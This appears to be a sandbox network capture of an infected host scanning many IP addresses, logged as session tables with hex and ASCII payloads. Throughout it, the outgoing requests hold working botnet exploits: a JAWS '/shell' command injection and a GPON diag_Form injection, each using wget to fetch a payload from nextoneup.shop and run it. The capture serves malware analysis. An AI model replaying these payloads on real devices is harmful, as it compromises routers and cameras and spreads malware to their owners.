Apr 14, 2024 04:00:19.054168940 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.362895012 CEST	711	IN	HTTP/1.0 404 Not Found !!! Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.23	47800	219.89.83.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.094410896 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.23	44026	195.55.185.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.096291065 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.23	54934	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.281970024 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:05Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.23	54942	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.565216064 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:06Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.23	57582	45.207.81.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.688339949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.006932974 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.23	57464	34.160.106.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.858817101 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.032151937 CEST	268	IN	HTTP/1.1 308 Permanent Redirect Cache-Control: private Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.23	60592	52.216.59.66	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.922646046 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.659646034 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.896058083 CEST	309	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: BH0JCXARHDN55FZX x-amz-id-2: 4lIERix8QzSjMxIibC7ey9U9+FwCMnSk5xNmrOulNyXteSPbOagqxvMqsu3pObr5gITdkLMcuc8= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:20 GMT Server: AmazonS3
Apr 14, 2024 04:00:20.896070957 CEST	449	IN	Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpo
Apr 14, 2024 04:00:21.109646082 CEST	758	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: BH0JCXARHDN55FZX x-amz-id-2: 4lIERix8QzSjMxIibC7ey9U9+FwCMnSk5xNmrOulNyXteSPbOagqxvMqsu3pObr5gITdkLMcuc8= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:20 GMT Server: AmazonS3 Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 62 75 63 6b 65 74 20 79 6f 75 20 61 72 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 61 63 63 65 73 73 20 6d 75 73 74 20 62 65 20 61 64 64 72 65 73 73 65 64 20 75 73 69 6e 67 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6e 64 70 6f 69 6e 74 2e 20 50 6c 65 61 73 65 20 73 65 6e 64 20 61 6c 6c 20 66 75 74 75 72 65 20 72 65 71 75 65 73 74 73 20 74 6f 20 74 68 69 73 20 65 6e 64 70 6f 69 6e 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 45 6e 64 70 6f 69 6e 74 3e 73 68 65 6c 6c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 3c 2f 45 6e 64 70 6f 69 6e 74 3e 3c 42 75 63 6b 65 74 3e 73 68 65 6c 6c 3c 2f 42 75 63 6b 65 74 3e 3c 52 65 71 75 65 73 74 49 64 3e 42 48 30 4a 43 58 41 52 48 44 4e 35 35 46 5a 58 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 34 6c 49 45 52 69 78 38 51 7a 53 6a 4d 78 49 69 62 43 37 65 79 39 55 39 2b 46 77 43 4d 6e 53 6b 35 78 4e 6d 72 4f 75 6c 4e 79 58 74 65 53 50 62 4f 61 67 71 78 76 4d 71 73 75 33 70 4f 62 72 35 67 49 54 64 6b 4c 4d 63 75 63 38 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpoint>shell.s3.amazonaws.com</Endpoint><Bucket>shell</Bucket><RequestId>BH0JCXARHDN55FZX</RequestId><HostId>4lIERix8QzSjMxIibC7ey9U9+FwCMnSk5xNmrOulNyXteSPbOagqxvMqsu3pObr5gITdkLMcuc8=</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.23	52844	108.190.17.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.926450014 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.664756060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.994498968 CEST	103	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.23	54954	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.957941055 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:06Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.23	38168	217.194.210.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.008922100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.334593058 CEST	408	IN	HTTP/1.1 302 Redirect Content-Type: text/html; charset=UTF-8 Location: http://holdingpage.hostinguk.net/404page.asp Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Length: 167 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 68 6f 6c 64 69 6e 67 70 61 67 65 2e 68 6f 73 74 69 6e 67 75 6b 2e 6e 65 74 2f 34 30 34 70 61 67 65 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="http://holdingpage.hostinguk.net/404page.asp">here</a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.23	54960	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.220815897 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:06Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.23	39974	83.233.58.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.224575043 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.23	32840	2.180.3.66	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.286344051 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.717113972 CEST	265	IN	HTTP/1.1 200 OK Content-type: application/octet-stream Server: uc-httpd/1.0.0 Cache-Control: max-age=864000 Connection: Close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>404 File Not Found</title></head><body>The requested URL was not found on this server</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.23	54984	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.609858990 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:07Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.23	58764	198.152.59.1	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.812129974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.043888092 CEST	34	IN	HTTP/1.1 404 Not Foun Data Raw: Data Ascii:
Apr 14, 2024 04:00:21.044029951 CEST	230	IN	Data Raw: 0d 0a 53 65 72 76 65 72 3a 20 52 61 70 69 64 20 4c 6f 67 69 63 2f 31 2e 31 0d 0a 4d 49 4d 45 2d 76 65 72 73 69 6f 6e 3a 20 31 2e 30 0d 0a 44 61 74 65 3a 20 57 65 64 20 53 65 70 20 33 30 20 30 38 3a 33 36 3a 35 34 20 31 39 37 30 20 47 4d 54 0d 0a Data Ascii: Server: Rapid Logic/1.1MIME-version: 1.0Date: Wed Sep 30 08:36:54 1970 GMTContent-Type: text/htmlContent-Length: 89<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.23	54990	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.891046047 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:07Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.23	49728	39.119.118.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.914208889 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.246777058 CEST	439	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:21 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 196 Keep-Alive: timeout=15, max=400 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.23	55002	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.285105944 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:07Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.23	43954	79.249.104.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323354006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.23	41252	178.5.171.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323380947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.23	33628	42.120.71.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323426962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.23	52280	210.72.205.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323471069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.23	54260	117.185.109.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323493004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.23	42930	5.192.185.101	443

Timestamp	Bytes transferred	Direction	Data
